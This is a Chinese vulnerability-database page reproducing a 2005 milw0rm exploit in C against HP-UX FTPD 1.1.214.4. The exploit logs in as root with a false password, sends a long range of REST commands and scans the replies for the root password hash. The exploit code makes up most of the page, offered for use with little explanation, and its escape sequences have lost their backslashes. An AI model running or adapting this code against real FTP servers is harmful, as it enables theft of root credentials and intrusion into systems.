HP-UX FTPD 1.1.214.4 – ‘REST’ Remote Brute Force

HP-UX FTPD 1.1.214.4 – ‘REST’ Remote Brute Force

漏洞ID 1055079 漏洞类型
发布时间 2005-05-03 更新时间 2005-05-03
图片[1]-HP-UX FTPD 1.1.214.4 – ‘REST’ Remote Brute Force-安全小百科CVE编号 N/A
图片[2]-HP-UX FTPD 1.1.214.4 – ‘REST’ Remote Brute Force-安全小百科CNNVD-ID N/A
漏洞平台 HP-UX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/977
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* 
Author: phased

/str0ke
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[]) {

  int sock, rc;
  long int i;
  struct sockaddr_in saddr;
  struct hostent *h;
  char buf[256];

  printf("DMhpux FTPd - REST bug brute forcern");
  printf("by phasedn");

  if(argc < 2) {
    printf("usage: %s <host> -- simple enough?n",argv[0]);
    exit(1);
  }
  h = gethostbyname(argv[1]);
  if(h==NULL) {
    printf("%s: unknown host '%s'n",argv[0],argv[1]);
    exit(1);
  }

  saddr.sin_family = h->h_addrtype;
  memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  saddr.sin_port = htons(21);

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock<0) {
    perror("cannot open socket ");
    exit(1);
  }

  rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
  if(rc<0) {
    perror("cannot connect ");
    exit(1);
  }

  printf("Sending false login credentialsn");
 snprintf(buf, sizeof(buf), "USER rootrn");
  printf("sending %sn", buf);
  rc = send(sock, buf, strlen(buf), 0);
  if(rc<0) {
        perror("cannot send data ");
        close(sock);
        exit(0);
  }
  dorecv(sock);
	usleep(1000);
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "PASS foorn");
  printf("sending %sn", buf);
  rc = send(sock, buf, strlen(buf), 0);
usleep(1000);
  dorecv(sock);
  dorecv(sock);

  for(i=1073931080;i<=1073945000;i = i+10) {
        snprintf(buf, sizeof(buf), "REST %drn", i);
        printf("sending %sn", buf);
        send(sock, buf, strlen(buf), 0);
        dorecv(sock);
 }


return 0;

}

int dorecv(int sock) {
char buf[256];
char *check;

memset(buf, 0, sizeof(buf));
recv(sock, buf, sizeof(buf), 0);
printf("got: %sn", buf);
check = (char *)strstr(buf, "root");
if(check != NULL) {
        printf("Got root hashn");
}

}

// milw0rm.com [2005-05-03]

相关推荐: Handspring Visor服务拒绝漏洞

Handspring Visor服务拒绝漏洞 漏洞ID 1205155 漏洞类型 未知 发布时间 2001-10-22 更新时间 2001-10-22 CVE编号 CVE-2001-1438 CNNVD-ID CNNVD-200110-118 漏洞平台 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享